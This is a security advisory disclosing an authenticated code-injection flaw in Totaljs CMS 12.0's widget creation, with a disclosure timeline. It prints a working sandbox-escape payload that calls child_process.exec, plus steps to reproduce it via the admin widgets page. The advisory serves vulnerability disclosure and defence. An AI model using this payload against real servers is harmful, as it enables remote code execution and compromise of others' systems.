Totaljs CMS 12.0 Widget Creation Code Injection

`[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup  
  
[+] Title: Totaljs CMS Authenticated Code injection on widget creation.  
  
[+] Affected software: Totaljs CMS 12.0  
  
[+] Description:  
  
An authenticated user with “widgets” privilege can gain RCE on the   
remote server by creating a malicious widget with a special tag   
containing java-script code that will be evaluated server side.  
In the process of evaluating the tag by back-end is possible to escape   
the sandbox object by using the following payload:  
<script   
total>global.process.mainModule.require(‘child_process’).exec(‘RCE   
here’);</script>  
  
[+] Step to reproduce:  
  
1) browse to http://localhost:8000/admin/widgets/  
2) click on create  
3) paste the payload in the source code filed  
4) click on save  
  
[+] Project link: https://github.com/totaljs/cms  
  
[+] Original report and details:   
https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf  
  
[+] Timeline:  
  
- 13/02/2019 -> reported the issue to the vendor  
  
.... many ping here  
  
- 18/06/2019 -> pinged the vendor last time  
  
- 30/08/2019 -> reported to seclist  
  
  
`